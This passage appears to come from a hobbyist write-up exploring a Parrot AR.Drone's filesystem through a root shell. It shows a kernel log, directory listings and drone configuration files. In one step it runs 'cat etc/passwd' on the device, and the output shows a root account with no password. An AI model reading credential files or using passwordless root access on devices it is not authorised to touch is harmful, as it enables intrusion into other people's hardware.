Jan 1 00:00:16 myhost user.warn kernel: [ 1.384764] [<c000839c>] (kernel_init+0x0/0xf8) from [<c003ab8c>] (do_exit+0x0/0x7c4)
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384820] r4:00000000
Jan 1 00:00:16 myhost user.warn kernel: [ 1.384840] —[ end trace 731e28c3f383578a ]—
Jan 1 00:00:16 myhost user.notice kernel: [ 1.572312] UBIFS: completing deferred recovery
Jan 1 00:00:16 myhost user.notice kernel: [ 1.575445] UBIFS: deferred recovery completed
Jan 1 00:00:16 myhost user.notice kernel: [ 2.312548] UBIFS: mounted UBI device 0, volume 0, name "factory"
Jan 1 00:00:16 myhost user.notice kernel: [ 2.312581] UBIFS: mounted read-only
Jan 1 00:00:16 myhost user.notice kernel: [ 2.312605] UBIFS: file system size: 6221824 bytes (6076 KiB, 5 MiB, 49 LEBs)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.312637] UBIFS: journal size: 1015809 bytes (992 KiB, 0 MiB, 6 LEBs)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.312666] UBIFS: media format: w4/r0 (latest is w4/r0)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.312690] UBIFS: default compressor: none
Jan 1 00:00:16 myhost user.notice kernel: [ 2.312711] UBIFS: reserved for root: 293871 bytes (286 KiB)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.341500] UBIFS: recovery needed
Jan 1 00:00:16 myhost user.notice kernel: [ 2.360960] UBIFS: recovery completed
Jan 1 00:00:16 myhost user.notice kernel: [ 2.361000] UBIFS: mounted UBI device 2, volume 0, name "update"
Jan 1 00:00:16 myhost user.notice kernel: [ 2.361029] UBIFS: file system size: 15745024 bytes (15376 KiB, 15 MiB, 124 LEBs)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.361061] UBIFS: journal size: 1015809 bytes (992 KiB, 0 MiB, 6 LEBs)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.361090] UBIFS: media format: w4/r0 (latest is w4/r0)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.361113] UBIFS: default compressor: none
Jan 1 00:00:16 myhost user.notice kernel: [ 2.361134] UBIFS: reserved for root: 743676 bytes (726 KiB)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.390522] UBIFS: recovery needed
Jan 1 00:00:16 myhost user.notice kernel: [ 2.408622] UBIFS: recovery completed
Jan 1 00:00:16 myhost user.notice kernel: [ 2.408661] UBIFS: mounted UBI device 2, volume 1, name "data"
Jan 1 00:00:16 myhost user.notice kernel: [ 2.408690] UBIFS: file system size: 77328384 bytes (75516 KiB, 73 MiB, 609 LEBs)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.408722] UBIFS: journal size: 3809280 bytes (3720 KiB, 3 MiB, 30 LEBs)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.408752] UBIFS: media format: w4/r0 (latest is w4/r0)
Jan 1 00:00:16 myhost user.notice kernel: [ 2.408775] UBIFS: default compressor: none
Jan 1 00:00:16 myhost user.notice kernel: [ 2.408796] UBIFS: reserved for root: 3652410 bytes (3566 KiB)
Jan 1 00:00:16 myhost user.info kernel: [ 2.526048] Parrot6 SDHCI driver $Revision: 1.7 $
Jan 1 00:00:16 myhost user.info kernel: [ 2.526302] gpio 37 is not selected.
Jan 1 00:00:16 myhost user.info kernel: [ 2.526317] Please do it in your board code
Jan 1 00:00:16 myhost user.debug kernel: [ 2.526349] p6 mux select pin @0xfd000058 : 0x55500010->0x55500410
Jan 1 00:00:16 myhost user.info kernel: [ 2.526375] gpio 36 is not selected.
Jan 1 00:00:16 myhost user.info kernel: [ 2.526385] Please do it in your board code
Jan 1 00:00:16 myhost user.debug kernel: [ 2.526410] p6 mux select pin @0xfd000058 : 0x55500410->0x55500510
Jan 1 00:00:16 myhost user.info kernel: [ 2.535220] mmc0: SDHCI controller on p6-sdhci [p6-sdhci.1] using DMA
Jan 1 00:00:16 myhost user.debug kernel: [ 3.075702] mmc0: queuing CIS tuple 0x01 length 3
Jan 1 00:00:16 myhost user.debug kernel: [ 3.115139] mmc0: queuing CIS tuple 0x1a length 5
Jan 1 00:00:16 myhost user.debug kernel: [ 3.132309] mmc0: queuing CIS tuple 0x1b length 8
Jan 1 00:00:16 myhost user.debug kernel: [ 3.135763] mmc0: queuing CIS tuple 0x14 length 0
Jan 1 00:00:16 myhost user.debug kernel: [ 3.138877] mmc0: queuing CIS tuple 0x80 length 1
Jan 1 00:00:16 myhost user.debug kernel: [ 3.138971] mmc0: queuing CIS tuple 0x81 length 1
Jan 1 00:00:16 myhost user.debug kernel: [ 3.139063] mmc0: queuing CIS tuple 0x82 length 1
Jan 1 00:00:16 myhost user.info kernel: [ 3.139118] mmc0: new SDIO card at address 0001
Jan 1 00:00:16 myhost user.warn kernel: [ 6.227426] AR6000 Reg Code = 0x40000060
Jan 1 00:00:16 myhost user.warn kernel: [ 12.388886] channel hint set to 2437
Jan 1 00:00:16 myhost user.warn kernel: [ 12.400886] AR6000 updating target stats
Jan 1 00:00:16 myhost user.warn kernel: [ 12.451645] AR6000 Reg Code = 0x80000348
Jan 1 00:00:16 myhost user.debug kernel: [ 16.680015] start pwm clock
Jan 1 00:00:18 myhost user.info kernel: [ 18.670400] camera 0-0: P6 camif driver attached to camera 0
Jan 1 00:00:21 myhost user.info kernel: [ 21.009589] camera 1-0: P6 camif driver attached to camera 0
Jan 1 00:00:21 myhost user.warn kernel: [ 21.056501] it overwrite…
Jan 1 00:00:38 myhost user.warn kernel: [ 38.032849] NEW STA 6c:c2:6b:29:07:72 aid=1 WPAIE=0
Jan 1 00:01:52 myhost user.warn kernel: [ 112.829441] p264 driver : reset h264 IP
Jan 1 00:01:52 myhost user.warn kernel: [ 112.829475] p264 driver : initialized
Jan 1 00:01:52 myhost user.warn kernel: [ 112.831824] p264 driver : P264_SET_DIM set image dimensions (320,240)
Jan 1 00:20:14 myhost user.warn kernel: [ 1215.633501] iwioctl: cmd=0x8b03 not allowed in this mode
Jan 1 00:20:14 myhost user.warn kernel: [ 1215.637520] AR6000 updating target stats
Jan 1 00:20:14 myhost user.warn kernel: [ 1215.637847] iwioctl: cmd=0x8b1d not allowed in this mode
Jan 1 00:20:14 myhost user.warn kernel: [ 1215.638810] wext_ioctl: cmd=0x8b29 not allowed in this mode
Jan 1 00:20:14 myhost user.warn kernel: [ 1215.638860] iwioctl: cmd=0x8b23 not allowed in this mode
Jan 1 00:20:14 myhost user.warn kernel: [ 1215.638907] iwioctl: cmd=0x8b25 not allowed in this mode
Jan 1 00:21:30 myhost user.warn kernel: [ 1290.832951] iwioctl: cmd=0x8b03 not allowed in this mode
Jan 1 00:23:15 myhost user.warn kernel: [ 1396.111159] AR6000 updating target stats
Jan 1 00:23:15 myhost user.warn kernel: [ 1396.112009] iwioctl: cmd=0x8b1d not allowed in this mode
Jan 1 00:23:15 myhost user.warn kernel: [ 1396.112942] wext_ioctl: cmd=0x8b29 not allowed in this mode
Jan 1 00:23:15 myhost user.warn kernel: [ 1396.112990] iwioctl: cmd=0x8b23 not allowed in this mode
Jan 1 00:23:15 myhost user.warn kernel: [ 1396.113039] iwioctl: cmd=0x8b25 not allowed in this mode
Jan 1 00:23:17 myhost user.warn kernel: [ 1398.177524] iwioctl: cmd=0x8b03 not allowed in this mode
Jan 1 00:24:54 myhost user.warn kernel: [ 1495.196080] AR6000 updating target stats
Jan 1 00:24:54 myhost user.warn kernel: [ 1495.196899] iwioctl: cmd=0x8b1d not allowed in this mode
Jan 1 00:24:54 myhost user.warn kernel: [ 1495.199830] wext_ioctl: cmd=0x8b29 not allowed in this mode
Jan 1 00:24:54 myhost user.warn kernel: [ 1495.199877] iwioctl: cmd=0x8b23 not allowed in this mode
Jan 1 00:24:54 myhost user.warn kernel: [ 1495.199909] iwioctl: cmd=0x8b25 not allowed in this mode
Jan 1 00:28:48 myhost user.warn kernel: [ 1729.660393] NEW STA 00:1e:c2:xx:xx:xx aid=1 WPAIE=0
Jan 1 00:28:57 myhost user.warn kernel: [ 1738.234689] DEL STA 00:1e:c2:xx:xx:xx aid=1 REASON=101
Jan 1 00:32:25 myhost user.warn kernel: [ 1946.703039] NEW STA 00:24:d2:xx:xx:xx aid=1 WPAIE=0
Jan 1 00:32:34 myhost user.warn kernel: [ 1955.293363] DEL STA 00:24:d2:xx:xx:xx aid=1 REASON=101
#
# ls
bin dev factory home licenses proc sbin tmp usr
data etc firmware lib mnt root sys update var
# ls tmp/
messages udhcpd.conf
# ls u
ls: u: No such file or directory
# ls usr/
bin include lib libexec sbin share
# ls -lh usr/*
usr/bin:
lrwxrwxrwx 1 root root 17 Jan 1 00:00 [ -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 [[ -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 arping -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 awk -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 basename -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 clear -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 cmp -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 cut -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 dc -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 dirname -> ../../bin/busybox
-rwxr-xr-x 1 root root 38.3K Jan 1 00:00 dmalloc
lrwxrwxrwx 1 root root 17 Jan 1 00:00 dos2unix -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 du -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 eject -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 env -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 expr -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 find -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 free -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 ftpget -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 ftpput -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 fuser -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 head -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 hexdump -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 id -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 install -> ../../bin/busybox
lrwxrwxrwx 1 root root 24 Jan 1 00:00 iptables-xml -> /usr/sbin/iptables-multi
lrwxrwxrwx 1 root root 17 Jan 1 00:00 killall -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 killall5 -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 less -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 logger -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 md5sum -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 mkfifo -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 nc -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 nslookup -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 od -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 openvt -> ../../bin/busybox
-rwxr-xr-x 1 root root 62.7K Jan 1 00:00 ps_procps
lrwxrwxrwx 1 root root 17 Jan 1 00:00 readlink -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 reset -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 resize -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 script -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 setsid -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 sort -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 split -> ../../bin/busybox
-rwxr-xr-x 1 root root 206.6K Jan 1 00:00 strace
lrwxrwxrwx 1 root root 17 Jan 1 00:00 strings -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 tail -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 tee -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 telnet -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 test -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 tftp -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 time -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 top -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 tr -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 tty -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 ttysize -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 uniq -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 unix2dos -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 uptime -> ../../bin/busybox
-rwxr-xr-x 1 root root 19.5K Jan 1 00:00 vmstat
lrwxrwxrwx 1 root root 17 Jan 1 00:00 wc -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 wget -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 which -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 xargs -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 yes -> ../../bin/busybox

usr/include:
drwxr-xr-x 2 root root 456 Jan 1 00:00 libiptc
-rw-r–r– 1 root root 8.6K Jan 1 00:00 xtables.h

usr/lib:
-rw-r–r– 1 root root 16.5K Jan 1 00:00 libdma_alloc.so
-rw-r–r– 1 root root 47.6K Jan 1 00:00 libdmalloc.so
-rw-r–r– 1 root root 48.0K Jan 1 00:00 libdmallocth.so
-rw-r–r– 1 root root 48.3K Jan 1 00:00 libdmallocthcxx.so
-rw-r–r– 1 root root 47.9K Jan 1 00:00 libdmallocxx.so
lrwxrwxrwx 1 root root 17 Jan 1 00:00 libexif.so.12 -> libexif.so.12.3.2
-rwxr-xr-x 1 root root 207.0K Jan 1 00:00 libexif.so.12.3.2
-rwxr-xr-x 1 root root 1.1K Jan 1 00:00 libip4tc.la
lrwxrwxrwx 1 root root 17 Jan 1 00:00 libip4tc.so -> libip4tc.so.0.0.0
lrwxrwxrwx 1 root root 17 Jan 1 00:00 libip4tc.so.0 -> libip4tc.so.0.0.0
-rwxr-xr-x 1 root root 19.7K Jan 1 00:00 libip4tc.so.0.0.0
-rwxr-xr-x 1 root root 1.1K Jan 1 00:00 libip6tc.la
lrwxrwxrwx 1 root root 17 Jan 1 00:00 libip6tc.so -> libip6tc.so.0.0.0
lrwxrwxrwx 1 root root 17 Jan 1 00:00 libip6tc.so.0 -> libip6tc.so.0.0.0
-rwxr-xr-x 1 root root 20.3K Jan 1 00:00 libip6tc.so.0.0.0
-rwxr-xr-x 1 root root 1.2K Jan 1 00:00 libiptc.la
lrwxrwxrwx 1 root root 16 Jan 1 00:00 libiptc.so -> libiptc.so.0.0.0
lrwxrwxrwx 1 root root 16 Jan 1 00:00 libiptc.so.0 -> libiptc.so.0.0.0
-rwxr-xr-x 1 root root 2.8K Jan 1 00:00 libiptc.so.0.0.0
-rwxr-xr-x 1 root root 47.9K Jan 1 00:00 libproc-3.2.8.so
lrwxrwxrwx 1 root root 19 Jan 1 00:00 libstdc++.so.6 -> libstdc++.so.6.0.10
-rw-r–r– 1 root root 785.5K Jan 1 00:00 libstdc++.so.6.0.10
-rw-r–r– 1 root root 5.8K Jan 1 00:00 libuiomap.so
-rwxr-xr-x 1 root root 1.2K Jan 1 00:00 libxtables.la
lrwxrwxrwx 1 root root 19 Jan 1 00:00 libxtables.so -> libxtables.so.2.1.0
lrwxrwxrwx 1 root root 19 Jan 1 00:00 libxtables.so.2 -> libxtables.so.2.1.0
-rwxr-xr-x 1 root root 22.3K Jan 1 00:00 libxtables.so.2.1.0
lrwxrwxrwx 1 root root 13 Jan 1 00:00 libz.so -> libz.so.1.2.3
lrwxrwxrwx 1 root root 13 Jan 1 00:00 libz.so.1 -> libz.so.1.2.3
-rw-r–r– 1 root root 68.3K Jan 1 00:00 libz.so.1.2.3
drwxr-xr-x 2 root root 304 Jan 1 00:00 pkgconfig

usr/libexec:
drwxr-xr-x 2 root root 6.5K Jan 1 00:00 xtables

usr/sbin:
-rwxr-xr-x 1 root root 10.1K Jan 1 00:00 athtestcmd
-rwxr-xr-x 1 root root 8.7K Jan 1 00:00 bmiloader
lrwxrwxrwx 1 root root 17 Jan 1 00:00 chroot -> ../../bin/busybox
-rwxr-xr-x 1 root root 5.6K Jan 1 00:00 diversity
-rwxr-xr-x 1 root root 9.8K Jan 1 00:00 eeprom.AR6002
-rwxr-xr-x 1 root root 91.9K Jan 1 00:00 ethtool
lrwxrwxrwx 1 root root 17 Jan 1 00:00 fbset -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 ftpd -> ../../bin/busybox
-rwxr-xr-x 1 root root 7.6K Jan 1 00:00 fwpatch
-rwxr-xr-x 1 root root 5.1K Jan 1 00:00 gpio
lrwxrwxrwx 1 root root 17 Jan 1 00:00 inetd -> ../../bin/busybox
lrwxrwxrwx 1 root root 15 Jan 1 00:00 ip6tables -> ip6tables-multi
-rwxr-xr-x 1 root root 38.5K Jan 1 00:00 ip6tables-multi
lrwxrwxrwx 1 root root 15 Jan 1 00:00 ip6tables-restore -> ip6tables-multi
lrwxrwxrwx 1 root root 15 Jan 1 00:00 ip6tables-save -> ip6tables-multi
lrwxrwxrwx 1 root root 14 Jan 1 00:00 iptables -> iptables-multi
-rwxr-xr-x 1 root root 44.3K Jan 1 00:00 iptables-multi
lrwxrwxrwx 1 root root 14 Jan 1 00:00 iptables-restore -> iptables-multi
lrwxrwxrwx 1 root root 14 Jan 1 00:00 iptables-save -> iptables-multi
-rwxr-xr-x 1 root root 2.9K Jan 1 00:00 loadAR6k.sh
lrwxrwxrwx 1 root root 17 Jan 1 00:00 loadfont -> ../../bin/busybox
-rwxr-xr-x 1 root root 1.9K Jan 1 00:00 loadtestcmd.sh
-rwxr-xr-x 1 root root 5.8K Jan 1 00:00 pinst_trigger
lrwxrwxrwx 1 root root 17 Jan 1 00:00 rdate -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 rdev -> ../../bin/busybox
-rwxr-xr-x 1 root root 10.9K Jan 1 00:00 recEvent
lrwxrwxrwx 1 root root 17 Jan 1 00:00 setfont -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 setlogcons -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 telnetd -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Jan 1 00:00 udhcpd -> ../../bin/busybox
-rwxr-xr-x 1 root root 60.4K Jan 1 00:00 wmiconfig

# ls
bin dev factory home licenses proc sbin tmp usr
data etc firmware lib mnt root sys update var
# ls -lh var/
lrwxrwxrwx 1 root root 4 Jan 1 00:00 lib -> /tmp
lrwxrwxrwx 1 root root 4 Jan 1 00:00 lock -> /tmp
lrwxrwxrwx 1 root root 4 Jan 1 00:00 log -> /tmp
# ls -lh update/
-rw-r–r– 1 root root 8 Jan 1 00:00 version.txt
# cat update/version.txt
1.10.12
# ls -lh sys/
drwxr-xr-x 18 root root 0 Jan 1 00:00 block
drwxr-xr-x 10 root root 0 Jan 1 00:00 bus
drwxr-xr-x 24 root root 0 Jan 1 00:00 class
drwxr-xr-x 4 root root 0 Jan 1 00:38 dev
drwxr-xr-x 4 root root 0 Jan 1 00:00 devices
drwxr-xr-x 2 root root 0 Jan 1 00:38 firmware
drwxr-xr-x 2 root root 0 Jan 1 00:34 fs
drwxr-xr-x 5 root root 0 Jan 1 00:38 kernel
drwxr-xr-x 44 root root 0 Jan 1 00:00 module
# ls -lh root/
# ls -lh mnt/
# ls -lh lib
drwxr-xr-x 3 root root 224 Jan 1 00:00 firmware
-rwxr-xr-x 1 root root 118.7K Jan 1 00:00 ld-2.8.so
lrwxrwxrwx 1 root root 9 Jan 1 00:00 ld-linux.so.3 -> ld-2.8.so
-rwxr-xr-x 1 root root 1.1M Jan 1 00:00 libc-2.8.so
lrwxrwxrwx 1 root root 11 Jan 1 00:00 libc.so.6 -> libc-2.8.so
-rw-r–r– 1 root root 41.6K Jan 1 00:00 libcrypt-2.8.so
lrwxrwxrwx 1 root root 15 Jan 1 00:00 libcrypt.so.1 -> libcrypt-2.8.so
-rw-r–r– 1 root root 17.6K Jan 1 00:00 libdl-2.8.so
lrwxrwxrwx 1 root root 12 Jan 1 00:00 libdl.so.2 -> libdl-2.8.so
lrwxrwxrwx 1 root root 13 Jan 1 00:00 libgcc_s.so -> libgcc_s.so.1
-rw-r–r– 1 root root 47.3K Jan 1 00:00 libgcc_s.so.1
-rw-r–r– 1 root root 28.0K Jan 1 00:00 libiw.so.29
-rw-r–r– 1 root root 661.6K Jan 1 00:00 libm-2.8.so
lrwxrwxrwx 1 root root 11 Jan 1 00:00 libm.so.6 -> libm-2.8.so
-rw-r–r– 1 root root 21.6K Jan 1 00:00 libnss_dns-2.8.so
lrwxrwxrwx 1 root root 17 Jan 1 00:00 libnss_dns.so.2 -> libnss_dns-2.8.so
-rw-r–r– 1 root root 45.7K Jan 1 00:00 libnss_files-2.8.so
lrwxrwxrwx 1 root root 19 Jan 1 00:00 libnss_files.so.2 -> libnss_files-2.8.so
-rwxr-xr-x 1 root root 86.3K Jan 1 00:00 libpthread-2.8.so
lrwxrwxrwx 1 root root 17 Jan 1 00:00 libpthread.so.0 -> libpthread-2.8.so
-rw-r–r– 1 root root 25.9K Jan 1 00:00 librt-2.8.so
lrwxrwxrwx 1 root root 12 Jan 1 00:00 librt.so.1 -> librt-2.8.so
-rw-r–r– 1 root root 33.8K Jan 1 00:00 libthread_db-1.0.so
lrwxrwxrwx 1 root root 19 Jan 1 00:00 libthread_db.so.1 -> libthread_db-1.0.so
drwxr-xr-x 3 root root 240 Jan 1 00:00 modules
# ls -lh lib/firmware
drwxr-xr-x 2 root root 952 Jan 1 00:00 AR6002
# ls -lh lib/firmware/AR6002/
-rwxr-xr-x 1 root root 79.1K Jan 1 00:00 athtcmd_ram.bin
-rwxr-xr-x 1 root root 170.6K Jan 1 00:00 athwlan.bin
-rwxr-xr-x 1 root root 94.7K Jan 1 00:00 athwlan.bin.z77
-rwxr-xr-x 1 root root 768 Jan 1 00:00 calData_15dBm_ANTAE_diversity_07122010.bin
-rwxr-xr-x 1 root root 768 Jan 1 00:00 calData_ar6102_15dBm.bin
-rwxr-xr-x 1 root root 1.3K Jan 1 00:00 data.patch.hw2_0.bin
-rwxr-xr-x 1 root root 489 Jan 1 00:00 eeprom.bin
-rwxr-xr-x 1 root root 48 Jan 1 00:00 eeprom.data
-rwxr-xr-x 1 root root 768 Jan 1 00:00 parrot.bin
-rwxr-xr-x 1 root root 768 Jan 1 00:00 parrot_aD0_diversitytable.bin
#
#
#
# ls
bin dev factory home licenses proc sbin tmp usr
data etc firmware lib mnt root sys update var
# ls -lh firmware/
drwxr-xr-x 2 root root 536 Jan 1 00:00 ADC
-rw-r–r– 1 root root 20.0K Jan 1 00:00 BLC.hex.backup
-rw-r–r– 1 root root 8 Jan 1 00:00 version.txt
# cat firmware/version.txt
1.10.12
# cd firmware/
# ls
ADC BLC.hex.backup version.txt
# file BLC.hex.backup
/bin/sh: file: not found
# ls ADC/
MYKONOS.hex MYKONOS2.hex MYKONOS_READ_HARD_VERSION.hex
MYKONOS.txt MYKONOS2.txt
# cat ADC/MYKONOS.txt
00040144
# ls
ADC BLC.hex.backup version.txt
# ls
ADC BLC.hex.backup version.txt
# pwd
/firmware
#
# cd ..
# ls
bin dev factory home licenses proc sbin tmp usr
data etc firmware lib mnt root sys update var
#
#
#
# pwd
/
#
# ls
bin dev factory home licenses proc sbin tmp usr
data etc firmware lib mnt root sys update var
# ls etc/
coredump_enabled hostname init.d nsswitch.conf protocols
fstab hosts inittab passwd udhcpd.conf
group inetd.conf ld.so.cache profile
#
# cat etc/hosts
127.0.0.1 localhost
#
# cat etc/init
etc/init.d/ etc/inittab
# cat etc/init
etc/init.d/ etc/inittab
# cat etc/passwd
root::0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default::1000:1000:Default non-root user:/home/default:/bin/sh
# id
uid=0(root) gid=0(root)
#
[/text]

It looks like the configuration of the device resides in /data/config.ini

[text]
#
# ls /data/
accs_infos.bin emergency.bin old_adress.txt video
config.ini fact_accs_infos.bin random_mac.txt
custom.configs navdata_blackbox.bin syslog.bin
# cd data/
# cat config.ini

[general]
flying_time = 2233
num_version_config = 1
num_version_mb = 17
num_version_soft = 1.10.12
drone_serial = MP0H0xx0xx
soft_build_date = 2012-04-06 13:02
motor1_soft = 1.41
motor1_hard = 3.0
motor1_supplier = 1.1
motor2_soft = 1.41
motor2_hard = 3.0
motor2_supplier = 1.1
motor3_soft = 1.41
motor3_hard = 3.0
motor3_supplier = 1.1
motor4_soft = 1.41
motor4_hard = 3.0
motor4_supplier = 1.1
ardrone_name = My ARDrone
navdata_demo = TRUE
com_watchdog = 2
video_enable = TRUE
vision_enable = TRUE
vbat_min = 9000

[network]
ssid_single_player = ardrone_0xx0xx
ssid_multi_player = ardrone_v1.10.12
wifi_mode = 0
owner_mac = 00:00:00:00:00:00

[control]
accs_offset = { -2.1516777e+03 1.9382028e+03 2.0427101e+03 }
accs_gains = { 9.6964061e-01 1.9936414e-02 3.9729010e-02 -9.3443962e-03 -9.7747386e-01 2.1465350e-02 2.6582727e-02 -4.2353436e-02 -9.8552334e-01 }
gyros_offset = { 1.6802000e+03 1.6771219e+03 1.6739600e+03 }
gyros_gains = { 6.8932367e-03 -6.8230317e-03 -3.7824756e-03 }
gyros110_offset = { 1.6921460e+03 1.6771960e+03 }
gyros110_gains = { 1.5404387e-03 -1.5229437e-03 }
magneto_offset = { 0.0000000e+00 0.0000000e+00 0.0000000e+00 }
magneto_radius = 0.0000000e+00
gyro_offset_thr_x = 4.0000000e+00
gyro_offset_thr_y = 4.0000000e+00
gyro_offset_thr_z = 5.0000000e-01
pwm_ref_gyros = 470
osctun_value = 0
osctun_test = FALSE
altitude_max = 10000
altitude_min = 50
outdoor = FALSE
flight_without_shell = FALSE
autonomous_flight = FALSE
control_level = 0
euler_angle_max = 2.0000000e-01
control_iphone_tilt = 3.4906584e-01
control_vz_max = 2.0000000e+03
control_yaw = 2.0000000e+00
manual_trim = FALSE
indoor_euler_angle_max = 2.0000000e-01
indoor_control_vz_max = 2.0000000e+03
indoor_control_yaw = 2.0000000e+00
outdoor_euler_angle_max = 3.4906584e-01
outdoor_control_vz_max = 1.0000000e+03
outdoor_control_yaw = 3.4906585e+00
travelling_mode = 0,10,1500,0,1000

[pic]
ultrasound_freq = 8
ultrasound_watchdog = 3
pic_version = 100925764


camif_fps = 20
camif_buffers = 2
num_trackers = 12
video_on_usb = TRUE
video_file_index = 1
codec_fps = 20

[leds]

[detect]
enemy_colors = 1
enemy_without_shell = 0
groundstripe_colors = 16
detect_type = 3
detections_select_h = 0
detections_select_v_hsync = 0
detections_select_v = 0

[syslog]
output = 7
max_size = 102400
nb_files = 5

[custom]
application_desc = Default application configuration
profile_desc = Default profile configuration
session_desc = Default session configuration

[userbox]

[gps]
latitude = 5.0000000000000000e+02
longitude = 5.0000000000000000e+02
altitude = 0.0000000000000000e+00

#
# ls custom.configs/
applis profiles sessions
# cd custom.configs/
# ls
applis profiles sessions
# ls applis/
config.efc8fd84.ini
# cd profiles/
# cd ..
# cat applis/config.efc8fd84.ini

[general]

[control]
control_level = 0


bitrate = 4042
bitrate_ctrl_mode = 1
bitrate_storage = 4000

[custom]
application_desc = com.parrot.freeflight

#
# ls
applis profiles sessions
# ls profiles/
config.4d179846.ini config.9ab1ddb4.ini
# cat profiles/config.4d179846.ini

[control]
euler_angle_max = 2.0943952e-01
control_iphone_tilt = 6.0316497e-01
control_vz_max = 7.0000000e+02
control_yaw = 1.7453293e+00
manual_trim = FALSE
indoor_euler_angle_max = 2.0943952e-01
indoor_control_vz_max = 7.0000000e+02
indoor_control_yaw = 1.7453293e+00
outdoor_euler_angle_max = 3.4906584e-01
outdoor_control_vz_max = 1.0000000e+03
outdoor_control_yaw = 3.4906585e+00
travelling_mode = 0,10,1500,0,1000

[custom]
profile_desc = .iPhone:fb94e95aaebb4b95cf58d94ded54fff8

# ls profiles/config.
profiles/config.4d179846.ini profiles/config.9ab1ddb4.ini
